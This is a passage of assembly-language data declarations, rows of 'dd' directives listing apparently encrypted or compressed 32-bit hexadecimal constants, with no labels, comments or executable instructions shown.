205BE47Fh, 0F9BDB1B5h, 0A0DD8D1Ch, 0E2A02B59h, 27487B73h dd 0AA189EC3h, 61250ACBh, 0C566D745h, 5D2ECA9Dh, 1B4BC040h dd 0BB695E02h, 77D6597Ah, 7E1D5087h, 0D31C0216h, 15528668h dd 0A077AF2Fh, 0FE3E5819h, 0DFB8C550h, 5B4BB2B5h, 0E829C14Bh dd 322D483h, 0F80164A4h, 34F15351h, 0E7BD3EA6h, 0ACB26216h dd 0A7CB9FA9h, 0B0125127h, 5D59D768h, 0BF0F2DB8h, 0F66E377Ch dd 2DF81FC1h, 97AC0A44h, 0E0B9AD93h, 0C4381468h, 886525D7h dd 5A6AE4FFh, 0D1024A22h, 574D82BDh, 680C78E3h, 2D839CE9h dd 3E2C25F6h, 0E67F6878h, 657C6B71h, 0C79EE06h, 50C2D4Eh dd 29ED6F1Eh, 0AEFB04F7h, 3DAAB9ABh, 865BA80Ah, 0F1AD1C2Fh dd 213EC2E9h, 2AF66801h, 1C4DE2Ch, 0F8AA3415h, 0D25A8C53h dd 3EF9958Dh, 0E0573C92h, 5C0BC8AAh, 65A741B5h, 3EF3C2Fh dd 19F36A4Fh, 0F8419525h, 2B0305Fh, 62375697h, 56E63914h dd 59D6F72Dh, 6D3462A2h, 6EA85C05h, 65B5E8A3h, 952A82D2h dd 0FD5E9B5Ah, 0B9DF89A8h, 2D00C34Fh, 0BC95EE7h, 782ADF0h dd 56D41580h, 2FB1E9Ah, 70BC8052h, 46F9314h, 694C3F25h dd 847EEC4Bh, 6C0CF01h, 48D64362h, 9824457Ah, 48996F3h dd 0EAFE3108h, 0E7489EE2h, 47441A2Fh, 10ECA983h, 7079278Ah dd 0B66DBDBAh, 72ABE904h, 89384E6h, 0D7258686h, 0D7A7EDE7h dd 6F0B9C29h, 0CAA785F6h, 0CE527F07h, 0DFC45527h, 0FDD99733h dd 7EDE659Ch, 0A4985EF3h, 0C9C079D3h, 0B35074F5h, 254E9873h dd 6A6429E1h, 2F8EF6B7h, 0EAA8160h, 0BBEC125Fh, 0F06E9F02h dd 0D0F40103h, 2BD2FE39h, 282E24ECh, 0AF34132Eh, 6081E50h dd 8541E959h, 69D69F7Ch, 0BCC6E812h, 0B8702A98h, 3E73FBEh dd 1F199410h, 0E3CDFA09h, 0F081B77Eh, 47941680h, 4DE215Eh dd 0A3B6E807h, 803A4A4Eh, 0F55BE1Eh, 1F26D48h, 92F0AFC6h dd 93B29B8h, 70AC3FA1h, 94448B8Ah, 88044FEEh, 0E376BE01h dd 7A9225h, 20D0054Fh, 0E93A094Fh, 55F18290h, 0CE967728h dd 78970500h, 0B2D54EEh, 1A576B9Dh, 720BF5Ch, 1208B082h dd 0AD5FBFDCh, 4DD55EF1h, 0E9E11EACh, 72F5C6AAh, 93FB3D13h dd 15841B18h, 70B546D6h, 57F93B11h, 7A073127h, 810231C1h dd 771520CAh, 23F87176h, 45AE5E16h, 58F00813h, 0EF681342h dd 4BCB343h, 4BA50205h, 386116FCh, 40D31CB3h, 25F4CAFEh dd 0E941D40Bh, 973B78ADh, 7B0EDBF2h, 0DF4ECA74h, 658F5C80h dd 0EECB89BDh, 31A14A5Fh, 34D4D7E6h, 1F4FC314h, 510092A8h dd 0B753B0B1h, 0D70EF620h, 5C80CFFEh, 0EF530EF7h, 75F982F8h dd 0DC9FB94Ch, 0E95786CFh, 5F1793A0h, 7FF35B68h, 45F9207Eh dd 63F33CFAh, 0A94A7DBCh, 9F718E4h, 725047BEh, 5BD4ED00h dd 215CAB7Fh, 41E66528h, 721C287h, 0A3402C9Ah, 9497993h dd 10E94270h, 0F1802DAFh, 0B76D3DFFh, 0F34BD2F6h, 47E7CDBBh dd 2F2B5D7Ch, 0CC53ECC1h, 6923BA2Eh, 0F8681D49h, 0E9094321h dd 18016E65h, 10B8EABFh, 0AC2A510Fh, 4FADACCAh, 0B7519128h dd 0DB25013Eh, 3817EBC0h, 0C33A7F2Dh, 0BC5F35D9h, 0FE65B1ACh dd 7F2AFD63h, 0EFBE0496h, 0ED69744Fh, 0F6E81AFh, 0B12E5DF1h dd 1E3560AAh, 0F717A99Fh, 712F4DB0h, 83275C0Fh, 814DC0C5h dd 2D49A1CDh, 3DD3AA4h, 0E858CC2Ah, 0A9B4B0E9h, 0C1E4EFD1h dd 89F5250Bh, 0E9DA0060h, 94472F2Fh, 389B327Ah, 59572E7Dh dd 9FC88EF7h, 0A9CAFE13h, 8A22517Eh, 0AE365DC1h, 0F9E62F7Ch dd 0C0A632D5h, 0C0818607h, 0EAEC99Dh, 4FF6739Dh, 0AC469260h dd 5BBD6866h, 51BDD248h, 3E414BE1h, 0A3163FA6h, 2162AE50h dd 31BCA49Ah, 0D2F467EFh, 1A775CCAh, 2D5440ECh, 3159047Dh dd 0D476E978h, 3E0B81D7h, 77518861h, 0AE5C13F0h, 5867A500h dd 8BC32923h, 0B145115Ah, 18B3B93Ch, 4CC1ED10h, 4B35F1Dh dd 54D76882h, 2590C57Fh, 7675CF48h, 18E75A81h, 3BB76A55h dd 0FA86157Eh, 2CBF6F66h, 4C52ABA0h, 313E5860h, 8032A7E8h dd 274FBB7Eh, 0BC734AB8h, 0A3354F0Eh, 63A3FF04h, 2741EB35h dd 0B303477h, 0D5F7303h, 0A0903B05h, 90495E3h, 55D7875h dd 0AEBC154Dh, 0EE2AD7DFh, 1792328Ch, 0FE111870h, 0DF50C80Ah dd 553BFC10h, 0AD3FC324h, 0E5DDBC42h, 2DE880BDh, 6BF76AA5h dd 0C6B1E913h, 0F66BB3E5h, 0DCEA2DA3h, 0AEE98545h, 17B1A298h dd 2B213166h, 41A063ECh, 358B9FD6h, 277F665Fh, 0CD689AB9h dd 0BE818DD7h, 0A2B54854h, 846A0541h, 0D2C57F81h, 2FE74D3Eh dd 78159C04h, 2DC055F8h, 1942549Fh, 838F78BDh, 95BEAC07h dd 5E1C385Dh, 39FE555Fh, 12BB639Ch, 0E6A3546Fh, 5B1AF10h dd 8D7AF7B9h, 0C261C2FAh, 7FEDC548h, 0F8B5818h, 1D2FE2B6h dd 0A42959F0h, 271E17CDh, 0B3792548h, 60C300F1h, 0F92D45E8h dd 0D0E1906Eh, 5F2D07CBh, 0BB5339Eh, 83E17D41h, 6AE33A6Fh dd 0A8374A7Eh, 717BC190h, 2AF41F50h, 8CFCB7CDh, 7DD88273h dd 0E914CDD1h, 6CA65EFDh dd 6D63691Ch, 0C90DE3DEh, 0C93EA2Eh, 7CA809A4h, 0FAD123FFh dd 0FA684A89h, 7B4E388Ch, 0E73FF964h, 61EF4A5Bh, 2835E9CDh dd 5EF4F3Ah, 0AE62BB87h, 0F94F25B2h, 4FEC5F1Bh, 0C04F68ACh dd 0B58596F4h, 6577EF62h, 0F7273FD7h, 5957E142h, 6E7BE9ADh dd 1D6CC788h, 0A9518B58h, 0A7BD88F3h, 8867E0BEh, 4C29B8EFh dd 0C25BE001h, 15818ABDh, 20D9F602h, 0E7C9C632h, 0BAEA02CBh dd 0B098949Ah, 81B1805Bh, 6F5D8177h, 0A4E59BE1h, 0B0C6016Fh dd 0B9C32802h, 5ACFCCF4h, 98FE0C85h, 1F4F4114h, 185C8530h dd 0C1470B91h, 4B0402E1h, 1464E435h, 4249AC05h, 10E2F731h dd 8705AF96h, 0CDF62ACEh, 58138A10h, 5C812004h, 0A448205Ah dd 6863389Ah, 14DFFDC2h, 9DA8F822h, 68E21BF4h, 6B09FF7Bh dd 8B59B9DCh, 0F59F5EAh, 3EB80E1h, 0C051EE60h, 0E384EFDBh dd 0F8ED05DBh, 0F40466B3h, 1E12E90Bh, 0FE53AC04h, 0E06F2C6Dh dd 614FE9FEh, 805A5600h, 27288DF7h, 4BFE5BF8h, 77506609h dd 2C58AAE0h, 52DE9F6h, 0B1ECEEB3h, 0C20909A1h, 97F148Bh dd 7D6ABA9Dh, 658B90E5h, 0BD5BD329h, 0DB09CCA7h, 0E8C38356h dd 0CBB93B34h, 24707D96h, 0B7EDBBB1h, 5CC043Eh, 0B652660Fh dd 0BBF02884h, 0B08DFF06h, 4990B030h, 0BF5E4DC7h, 834E030h dd 397C5CF8h, 0ABA75812h, 1D257EE3h, 38B75620h, 0D8BD1231h dd 0B85002C7h, 330B3E16h, 256B1D61h, 0EE0E4116h, 0C1CC7B88h dd 0B5A465E7h, 41F7C1E8h, 0CFC4722Bh, 5390B76Ch, 5AEE7BDFh dd 0E5BFEC34h, 1FF8BA08h, 8A60B3B3h, 4BE0185Ah, 0F1F006Fh dd 0C7C281F9h, 4417865Fh, 38FAF201h, 3A006B95h, 0ACBB2EF8h dd 5F6A7E65h, 19AE931h, 3D281226h, 4EA0DA29h, 0E95B3D08h dd 0BB40DD59h, 0A0D9722Ch, 0DD922EBCh, 7196BB61h, 0CE24BF32h dd 0D348A6BEh, 0ABB549E8h, 5A8C27A2h, 0FD5C5E3Fh, 0ABBA84C3h dd 2B33F117h, 25CB6801h, 59D9277Fh, 3199E124h, 0F29AE5B2h dd 32312BC8h, 0AC00158Ch, 4A98D830h, 9D5F6E40h, 3DC7B7DCh dd 57B0191Bh, 773877E5h, 0C7F15E25h, 5BA7E958h, 3FE08941h dd 527289Fh, 8EB16B00h, 127AC180h, 9E66EF24h, 0C513E7A6h dd 0B3531A80h, 59FCBD63h, 0EF93779Dh, 0D6CEF809h, 0EF13C5BEh dd 0B2FECD84h, 8C03C436h, 993EF216h, 8D3AE06Ch, 0CD9D6532h dd 1BF22A18h, 6F1F7C48h, 0CB6E5E75h, 0A16462A2h, 0BB875926h dd 498A360Ah, 0A685080h, 907FBB48h, 0B3F35AF0h, 4F0607C2h dd 0C8802201h, 28DBA59h, 0E96B862Ch, 0F5F6760Dh, 4979F173h dd 0CC09306Ah, 55E5323h, 2DE7A14h, 8DA2892h, 7C19E248h dd 6C5525DCh, 8E022691h, 35588E0h, 7EE5066Fh, 0EBE04F6Bh dd 0F56FF21Fh, 70957196h, 3EAC009Bh, 0E781614Ch, 92482979h dd 4BF24CDDh, 0B8A4E4ECh, 7274A4D2h, 9C12D7F6h, 0D9BDB46Bh dd 6DC0B00h, 7A15CD81h, 0F746121Bh, 0CE2D01DDh, 3A62CA0Ah dd 3C2991C1h, 758E07Ah, 0A80C09B9h, 3B50C89h, 0A5E58052h dd 0A35C5FEh, 0A8B806B2h, 5E38E90Ch, 7100B828h, 0BA53F451h dd 0FC92EB6Eh, 80C24B01h, 31443923h, 23185D5Bh, 4CE5E907h dd 0D1D7F42Fh, 5909680h, 8FE5BEBh, 0C2F02FDAh, 0B7EBD124h dd 0CEFE6916h, 582605E8h, 2FA501Ch, 352C42EDh, 0F33B41DDh dd 7EE452EAh, 7E418280h, 7B55CC36h, 25CCBE00h, 1AE98722h dd 0BA62C08Fh, 49FC535Dh, 2AE5D0B7h, 16CE4E13h, 0F129B8C3h dd 6461D865h, 0F53DE227h, 72F55110h, 5DB82086h, 0A6EEBC98h dd 0C4898E48h, 3B89E830h, 6C7BD17Fh, 0E0F14D3Ch, 7BC03890h dd 0FB2F06EEh, 0D629280Dh, 50C60FB0h, 2D67E9Ch, 1BA566E1h dd 0E90502D6h, 9DE48B8Eh, 0B5464052h, 0F5B447Dh, 0CA02E012h dd 574BFE68h, 864E97ECh, 65973461h, 0B9B14703h, 73AD261Bh dd 20483B2Ch, 770B3E1Ah, 307650C2h, 0D6D28BFAh, 5BDA89FFh dd 0EDBF605Dh, 0DD43031Dh, 734AE971h, 0BC560487h, 0B122E46Dh dd 30B92007h, 809F511Dh, 1F488212h, 0F820E349h, 867E0080h dd 2CA42D22h, 0F71E105Ch, 0AA0040D0h, 57C8D49h, 21571616h dd 34A7F04Ch, 3DE29B4Fh, 0FBBC3078h, 26CE6866h, 740982ACh dd 6831614Bh, 0F87B485Dh, 0C26CF008h, 63DA52B7h, 4CFB0881h dd 0BD2B3092h, 0D320F306h, 281C0148h, 1F235D08h, 0E5F40576h dd 8229EC57h, 2108080Ch, 2F263834h, 203F8510h, 981E924Fh dd 0CC1D2062h, 81204676h, 3A71BF97h, 686CF76Bh, 4D616842h dd 3C4DDBE9h, 1261D56Eh, 0F9F81B3Dh, 96C62897h, 7C5A687Eh dd 73927C30h, 96F1264h, 80E5B2E8h, 8B4BB53h, 202898E2h dd 68158FAAh, 4D23653Ah, 16B958DEh, 0DC32A6FBh, 20027A30h dd 544A5BEAh, 0AB5295EBh, 91506944h, 9402E4CDh, 0D90B75D8h dd 9D04EF5h, 2D03E0C1h, 0F01C33D1h, 0C2A2D68h, 0C1583F7Ch dd 0A7614F2Dh, 0BE005F51h, 9E01073Ah, 7C1DB956h, 0ACFC2EAAh dd 2EDCBFA3h, 3FCA615Ah, 0B2398C3Ah, 0AE2CE031h, 0FFC2A8ABh dd 0FCE756CCh, 2148B368h, 9A09DEF9h, 13AB6617h, 0C21D5E2Bh dd 10359CAh, 185417F8h, 829D619Fh, 0B100059Eh, 70F4622Bh dd 40299040h, 8A0B686Ah, 8645CD67h, 2514BA5Ch, 9855FD08h dd 99DDF672h, 86B460E9h, 0F894F9E9h, 0B714727h, 0C0A495E9h dd 0B22BAE5Dh, 55C0D65h, 0BD0F681Fh, 13AC3CECh, 99F7F447h dd 2AEB277Eh, 33FF651h, 0A723B2CFh, 0BE0C1D2Dh, 325530Dh dd 0AFEFFBC2h, 0F2ED82E5h, 43A88659h, 0E09914Eh, 708584B0h dd 77EC8D85h, 8C054800h, 1D31EC4h, 256AC74Ch, 0BB66F565h dd 2D4EE7F4h, 3CC80AA2h, 0BDEBA08h, 0F90691BFh, 0FE06920Fh dd 47250804h, 30360F0Eh, 0D7EF48EAh, 664EEFE0h, 3105741Bh dd 40B4E9FAh, 45A8F752h, 1510B105h, 370CC105h, 826A2C83h dd 750B7F68h, 35540C18h, 0A3467C2Dh, 57FC55Bh, 4A33BB30h dd 53BC59h, 21FC4270h, 9002E8C1h, 0DA709E3h, 0EADC164Bh dd 1DFFC327h, 9634D77Ch, 0F150BF53h, 431C6108h, 44CACA1Eh dd 0DD882943h, 685A43DBh, 724EAFECh, 0F8DBF835h, 62504E5Fh dd 0BC7158C1h, 7D76841h, 0BEC68D7Ch, 97046661h, 5469262Dh dd 1FB3C081h, 20E3D001h, 0F3E6CE23h, 749F30E6h, 0C8DA535Ah dd 38C41C75h, 0BE4B0564h, 0A6179FCBh, 0EF7B299Ch, 0A77DADBAh dd 822BFD7Dh, 0E5756F53h, 88E7A590h, 4BBB5388h, 569757F8h dd 9DA450FBh, 1C37ECB7h, 0AFD4623Eh, 0E984D656h, 41E2065Fh dd 0C2029505h, 8191B0ECh, 12A2EB03h, 8AE93BE8h, 0BBCDF5F6h dd 296D60B0h, 311E2ED3h, 84E9090Dh, 5A5E27A1h, 2A63E149h dd 0E1C09452h, 4C8B26C3h, 0F830F40Dh, 1AA4F55Fh, 2A758A2Eh dd 0F972F702h, 0F8C07DD9h, 0DCB79E4Fh, 0AEE3C9EDh, 0C278F7F1h dd 0E9795655h, 98BE304h, 2E5BEC5Eh, 4964E074h, 0DD0F465Dh dd 0D47400CCh, 0D143E910h, 7B718A9Ah, 22803DC5h, 0AF1375FBh dd 41703F98h, 6416008h, 5FAA0097h, 71C2E381h, 43293E37h dd 0E9403BA5h, 1A03BEBDh, 0EDC16123h, 6063302h, 69252FD6h dd 167952EBh, 0FFD8315Eh, 27682B3Ch, 89D342C0h, 2EFE5512h dd 0E94C611Fh, 0B352BC6Ah, 4C7077C3h, 0C4B8FF6h, 39BF7238h dd 3A81302Bh, 1A197ABEh, 6DF06B26h, 0A9D65AF7h, 48CE02AFh dd 5F444F2Eh, 3D2A2400h, 0B025E9D0h, 7DC4D7D5h, 13CB6812h dd 0C1818064h, 976237ACh, 0F7D02E51h, 1681EED2h, 15485F2h dd 9DE90296h, 5F2D2F94h, 0AC10326Dh, 0BA0B7352h, 0C0B44166h dd 2431CD2Fh, 3E32C2Bh dd 1E1339BEh, 7D690C04h, 85F0E226h, 3C872D5Eh, 0F1E9D1B1h dd 53C39DE3h, 5C8308D8h, 0A6347268h, 0A8FA95C5h, 0BEA3E2Eh dd 6D680240h, 2F1A9210h, 0C4457101h, 80CDE82Fh, 0F6E718CEh dd 0C0F00AD6h, 0F902EE3Dh, 0F588A40Fh, 0E3EF835Ah, 52669828h dd 0F43FEDB2h, 0E54BE9DAh, 54B36001h, 5BECDE88h, 1EF76130h dd 9048E780h, 0E9168332h, 45F2B699h, 10DC22C5h, 844E68F3h dd 0A0B18477h, 550BB853h, 805F4C27h, 0C40506ACh, 2CF6042Ah dd 0FE58C329h, 2218729Ah, 56FDEF8Eh, 75C56881h, 93023326h dd 29923DE1h, 492471F7h, 59ABD2E9h, 0EEF940BAh, 314F987Fh dd 0BBBB53FAh, 66BDDF60h, 15AE3F6Ch, 0E9974461h, 0C123BC1h dd 0B31B2CAEh, 0A7EA11BAh, 0B86DADD8h, 8E401F0Ch, 93984946h dd 9FFDDC10h, 7C842025h, 0ACD3897Dh, 883995E4h, 0F9094FC5h dd 0F2AD620Ah, 0C076F2BBh, 4B2D0563h, 0B8B0650Eh, 840744EDh dd 4EFCACB2h, 0B3D1C0A6h, 31D4F2Eh, 1848714Bh, 90AE7B0h dd 876A7C24h, 2D50C002h, 89754896h, 0B87398FEh, 7A76BCCBh dd 104C6657h, 1C57B685h, 0CE2D0168h, 2AFEBDFEh, 1639FB4Bh dd 593EC20Ch, 49A1F9FDh, 38B6DA55h, 0EA4B2C75h, 0E913A68Ah dd 0B8CD52D2h, 0ACDA3C8Ah, 8F8CBEF0h, 0E66F2E47h, 8D3718A7h dd 68589328h, 433DC932h, 3456548Ch, 423180FCh, 0F602E281h dd 0E90EF003h, 0B418E8DCh, 0BA7CBFAEh, 3005BC14h, 0E99A06C5h dd 0ADF49B9h, 86689D81h, 0A6B97F8Eh, 5A101348h, 32FA5F5Bh dd 0BD680711h, 9009BF57h, 0DD04FC01h, 1CD52A12h, 0D1B09D06h dd 598162BEh, 53020B7Ch, 0CBFEC6B3h, 0EF856FE2h, 93769DD8h dd 5EB2C12h, 0AA89CA8Dh, 0AB5AF7E3h, 652BFA61h, 66506602h dd 55EDC398h, 0F90DAFD6h, 8C2C15BDh, 0CB20FF76h, 38A1FD12h dd 3BA069DEh, 0E2B594B3h, 2E1AE91Ah, 1996DD1Bh, 54A8C495h dd 9D01DD92h, 4C9AAF4h, 0CE8D977h, 7914B05Bh, 5D950B82h dd 0B356A029h, 5AC58416h, 2ED7F1AEh, 0BC4AFC9Eh, 0A17B1601h dd 2B2239EBh, 2558AF0h, 0EBA6851h, 0EB40407Bh, 64BF7A3Dh dd 905EB7A6h, 0B46759C6h, 74158DCh, 319A679Fh, 28D0F723h dd 6855A08Ah, 8B565B32h, 0F945132Dh, 6097CDEFh, 0EA985110h dd 87A3704Ah, 4DB05082h, 0EE80EF40h, 40E9900Dh, 24312CE6h dd 0EDE4F4C9h, 0E059D783h, 54401A1Bh, 1EE75F28h, 194F2CEEh dd 4887D67Ah, 73256842h, 294A981Bh, 5C5FAA30h, 325AC912h dd 648B2C0Bh, 3BB2DF01h, 0E85B0C05h, 0D00BB22Dh, 1E57950Dh dd 166D0F13h, 0E9C663C6h, 0CA970D69h, 57D45D9Ch, 5F8EE950h dd 6327BF93h, 201B8006h, 36B2D279h, 0F6F4F05h, 2FAD329h dd 7612288Ah, 9E02A658h, 21491D58h, 4EB0D7DFh, 5FD28E61h dd 0CD8C5E0h, 50088126h, 3E1F3B44h, 0F8D643E8h, 37B892Dh dd 8027E9FEh, 0BDF24450h, 0CB3B8E0Fh, 0D5D88ED4h, 5ECA497Eh dd 2BA9DCB8h, 0F9E523F9h, 3987848Fh, 5311491Dh, 933E8671h dd 0DAEF5ABAh, 47BE5BD9h, 9474EB4h, 7D1BEC7Dh, 8BCB695Eh dd 0EBEFC27Ah, 8FC544Fh, 39A9BEA4h, 952CA84h, 25CB2F5Ch dd 0C5E482EFh, 0A76414DDh, 0E800B24Ah, 0E96CA92Eh, 22C0C746h dd 0D8F60104h, 88DC2A34h, 6C6B20B2h, 0AAA05B5Ah, 0CD507653h dd 3B596E1Ah, 0A09A8E44h, 0E1E0EA8Dh, 72DCBE8Eh, 910FD1D7h dd 6680271h, 802A0207h, 5C1BE1CCh, 0C9DAA0E0h, 15728D2h dd 9412208Dh, 0BD17D49Fh, 0A4EF0626h, 8DD116C8h, 8051F9ACh dd 71F38111h, 0B84C9C1Eh, 0A5C15ACBh, 3F0438C4h, 1B571FEFh dd 0DEC27096h, 59795F5Ch, 16E95241h, 0F03EBC35h, 9E40DA7Dh dd 40C103BDh, 0EB093299h, 0CBF48C19h, 0BA935E1Ah, 0AA0F560Dh dd 0E24B3C9Ah, 8AE982B3h, 4B377602h, 5D8A25FDh, 308F29BAh dd 84B75BA4h, 0F2FB5214h, 28BBC63Bh, 0FB010111h, 0DBE90B88h dd 7355C23Ch, 0C7033B93h, 469BD1D6h, 51AEEDE0h, 294C0809h dd 81588FDh, 0F4055F04h, 360F183h, 3FBE56A4h, 0F798ED5Dh dd 8D2F68DEh, 648C9811h, 446C0935h, 160CDE9h, 0F14B6BAh dd 25C97B63h, 2C205D02h, 3996364Eh, 0C8F696A1h, 314BCED2h dd 9DE33AA0h, 95D5A58Bh, 0D4E989BCh, 13E58B55h, 517AC910h dd 5F28A32Fh, 0E9E108B8h, 0F629B9C4h, 47F5DC37h, 36B039C5h dd 4C0F2FB9h, 7C26565Eh, 0A4EA310Dh, 1BC608A6h, 66049568h dd 3C084177h, 450DC0FFh, 207EE875h, 8798F53Ch, 57E960A7h dd 42C77169h, 0C0E6BD3Ch, 28A4B013h, 615031F4h, 0EAE90B54h dd 7D896A47h, 4678B4E1h, 1DA0E74Bh, 3802ADBAh, 84D02955h dd 0DCAD1C90h, 1CAB452Eh, 49DA1F6Ah, 85748B19h, 7FADEF87h dd 685760F0h, 31675F63h, 0C2490FCCh, 9CFEEFFFh, 130465E9h dd 0E7B1BFBBh, 0B96503E8h, 564B0067h, 0DE29482Bh, 0A4924CFAh dd 20623CB7h, 839D59E5h, 2DA32BE4h, 1A5F39Bh, 0E6CDABC9h dd 0DF7255E0h, 47338373h, 66D91035h, 99253FDCh, 50B8A782h dd 8FBD05FCh, 0EB487E34h, 0B5F816E1h, 0E4D82CC6h, 46023C86h dd 0D2F75C1Ah, 3B625E40h, 0E96DCA09h, 7695042h, 0D039C980h dd 1BC151E1h, 51182008h, 8581B53Dh, 5734E9E5h, 0B861DDCDh dd 0CBDE56E6h, 1014C7D5h, 56341001h, 9A535C2Fh, 21C5FF4Bh dd 874FAD8Ah, 92ABC687h, 13EE52F4h, 12C6A6CFh, 0CBBFCC70h dd 18840ACh, 64EF5713h, 0EF017817h, 307C5AB9h, 8E225DCAh dd 3500DD6Ch, 5EE6378h, 57420525h, 1A0AC19h, 0A44A5D2Dh dd 0BA2B85E9h, 0CDA93434h, 0E75F6572h, 7D9EBA52h, 929FB94Eh dd 25E9BB28h, 4F529FDDh, 17F13848h, 0D9AE876Fh, 0A3292B3Dh dd 5E8A357Ch, 2096A793h, 0EDA09095h, 0B627004Ch, 56FD0150h dd 72BE6DE9h, 24359300h, 0B0544236h, 161261C6h, 2088ADB0h dd 0ADB83041h, 66D82813h, 5F993B09h, 0F95D4389h, 383A733h dd 95761F3Eh, 7D701530h, 278E16F1h, 59610E89h, 1B3EE3E8h dd 0FA7D8CEAh, 133A0C70h, 13555683h, 52D2BAE1h, 27095FECh dd 0E9619F53h, 16972336h, 2722BFB8h, 758DEACCh, 0D42D1E47h dd 0EAE9C518h, 0B6D0DEC8h, 454E2D6Ch, 646ACD2Fh, 0A8D04E6Ah dd 0DE494E4Fh, 9F4B7030h, 0E4E9F53Bh, 81D97C6Fh, 205B84BEh dd 3EF681E8h, 215C4BDCh, 4E2F028h, 0CF052AE9h, 9F02AA11h dd 5F413273h, 90AE5D83h, 9C99FB85h, 22BE320h, 0E90AF15Bh dd 35F49A92h, 725BD567h, 29363880h, 6881326h, 0ECED6A1Dh dd 0D1416B27h, 3859ADB2h, 0E9FD30EBh, 58A06186h, 0C1A1ED80h dd 0D6C5D5E5h, 9ED37AD5h, 0BAD90BC9h, 55964475h, 91CCE64Ah dd 0F7C016Dh, 4148BC2Dh, 7FCAFF72h, 585051E6h, 8B951863h dd 0C0035533h, 0D505B9AAh, 3F0333EDh, 0EB249BC1h, 0F9CE007h dd 0A3F44B8Eh, 0AD75525Eh, 0D0BEF6FBh, 69972FD6h, 45210235h dd 16DE63FCh, 0AFF7090Fh, 16EF3560h, 82052635h, 9FE1202h dd 5042F00Bh, 42AE8185h, 3EF168C7h, 0EA90CC46h, 0AE87AD2Dh dd 3334A967h, 134B88DBh, 98F19F38h, 0B1CF1EBBh, 684D0481h dd 982E31B7h, 575C8384h, 9E91261h, 1C33FB44h, 7734FEh dd 515257A6h, 31283A68h, 6A2D9CEBh, 851D94Bh, 51250F4h dd 0E9C595FBh, 69206264h, 57680136h, 3CBD6363h, 488A9552h dd 72E9094Ah, 0B61F72C2h, 2B920354h, 0C3A309Eh, 63B0120Eh dd 391CE901h, 3B202A2Eh, 166B02BEh, 6FC1E92Dh, 3AF1D2C9h dd 5E53A381h, 4D893F20h, 896CB75h, 5503F911h, 0A25ED668h dd 77965575h, 4DF2E509h dd 7E0F02C7h, 9FD1CE99h, 41756C50h, 40EB2FC0h, 0B81C9279h dd 500C404Fh, 8031B407h, 54B549CCh, 0F30020E9h, 7FF756FBh dd 70399E2Dh, 0F10375BEh, 550F258h, 3676E9B3h, 741336Ch dd 1B11A8F2h, 0BFA1E904h, 0E941EAF2h, 0EA6702FBh, 68A02869h dd 35B923C0h, 0C4FBE30h, 2FEE6BBAh, 0E5D829B7h, 7459CF2Fh dd 9561DA70h, 0C3306E49h, 965D5255h, 985F2759h, 974FEBEh dd 0D9F76523h, 5B925183h, 55522BAh, 5DBA2DCCh, 42742CEh dd 0E2D72835h, 8B070978h, 5FC87D06h, 0C80C310Eh, 8B419D68h dd 95279ADFh, 480546A0h, 117EA440h, 0C89FEF74h, 17418724h dd 456148Eh, 8AD6CFB1h, 861862EFh, 0C5F80BAEh, 0F155AD2Fh dd 91C8A7B7h, 0F3A45BB1h, 16426104h, 0F8804338h, 11CC4A09h dd 82F30112h, 4C54A6E9h, 806812ADh, 827A3743h, 4CF96A49h dd 4585BE81h, 0DC6F6260h, 741DE94Ch, 23173D12h, 9D7516ABh dd 4E604BEFh, 5DA35E16h, 0FA014248h, 15FCB59h, 21931F7h dd 76825E08h, 0B90747D1h, 113829B0h, 0BDF9F641h, 787C1F42h dd 77F3E7E2h, 12C88510h, 0FD404181h, 0F976367Fh, 0F340342Ch dd 0F9689F5Ah, 23BF8ED9h, 0D26D6387h, 8A1F4074h, 0EF4209A9h dd 0E9FFCF31h, 1870D196h, 0C9636410h, 0E7E0BFC2h, 945CA059h dd 0BECC833Ch, 0BF0029A3h, 1AA0B7B6h, 5D4F0AE9h, 0A69A61FAh dd 0C2BD6BD8h, 673BF1C0h, 529D2801h, 3AC30C41h, 8BDA26BFh dd 0A8A1E318h, 3D57AF18h, 0B0A67DB1h, 0E0C087DCh, 0F7AB8206h dd 0C1D8F1DDh, 6E0ABF68h, 0F2698D8Dh, 88F3AA92h, 6800F4D0h dd 327237CAh, 805B47E9h, 218E18CDh, 0EF122DB7h, 5D8BC3A6h dd 7A6457DEh, 0BAE3C106h, 615F3920h, 0CEDEE49h, 62A02BF6h dd 5D7F0091h, 4ABB53AFh, 7609B478h, 566131E9h, 9488731h dd 0CB05D10Fh, 0C4B8310Ah, 7DCF7382h, 22F1CC5h, 0D7FD88B0h dd 0E388CEE5h, 0EF2D1386h, 54598A49h, 0D2E18954h, 68E7CDD6h dd 7F0B30B7h, 295EF494h, 3E840EE9h, 51CDEA7Fh, 0AE045EE9h dd 0B0F1B807h, 0E6578FA2h, 3FB6092Ch, 0FB50E6D0h, 54005D97h dd 5AF70867h, 7BFCC058h, 1768CF0Ah, 80A6422Eh, 46E8CD0Bh dd 5DC92E3Ah, 2F4D6AC9h, 57A5A0F6h, 0C0BF996Ch, 0B7844C7Ch dd 0F5D23F76h, 0B192DCE5h, 0F0011F81h, 172B1B31h, 947CA3C7h dd 8EB675C3h, 990F6D9Ch, 2E496B44h, 48FAA5DCh, 5BDDD544h dd 285B90A8h, 0C7298083h, 0E984E705h, 0C2E47E71h, 0A3E02EAh dd 0F20142B4h, 8016C42h, 6EFAD8E9h, 969FF5ECh, 0F7273148h dd 0C03A21DFh, 2E58ECE5h, 9115C43h, 85F8205Ah, 17A39331h dd 5004E805h, 8C5BC34Dh, 0E965D198h, 0F432B625h, 0F480723Bh dd 14266CCCh, 72754082h, 0A590973Eh, 2117FA44h, 27B42E68h dd 9342954Dh, 27A21455h, 0A4F109B1h, 0A310F569h, 4758F768h dd 82F0D202h, 51A45DABh, 5ADEC4h, 2E367205h, 0D2FFA018h dd 7610F81Ah, 0DC681701h, 2A9A8C5Eh, 76956701h, 3E9C141h dd 0E1D4C061h, 0D2E6C108h, 7B3D0901h, 0DF582FB0h, 60559245h dd 541BE09Ch, 58AC6D4Ah, 0B2BB6250h, 70449538h, 2CA2555Eh dd 6A8FB192h, 2158E8A3h, 413E9B81h, 0E9F2E076h, 8DC2B55Eh dd 0C591FD5Fh, 21A7D042h, 0B6EAC130h, 0EB30E9DAh, 0DBB84E81h dd 6488ED87h, 0C67F291Fh, 0F5591826h, 6C030581h, 0D5D40984h dd 78CE3467h, 4F78802Ah, 0A17A276h, 0D0CDDF7h, 195A3495h dd 648EB80h, 0FAE30363h, 38CAD8CCh, 0CD7D3FB5h, 0E31EC360h dd 0F3790620h, 4A39EA2Fh, 0D39FB82Bh, 68B80EBCh, 0D33A7D01h dd 9433E92Bh, 2D18E72Bh, 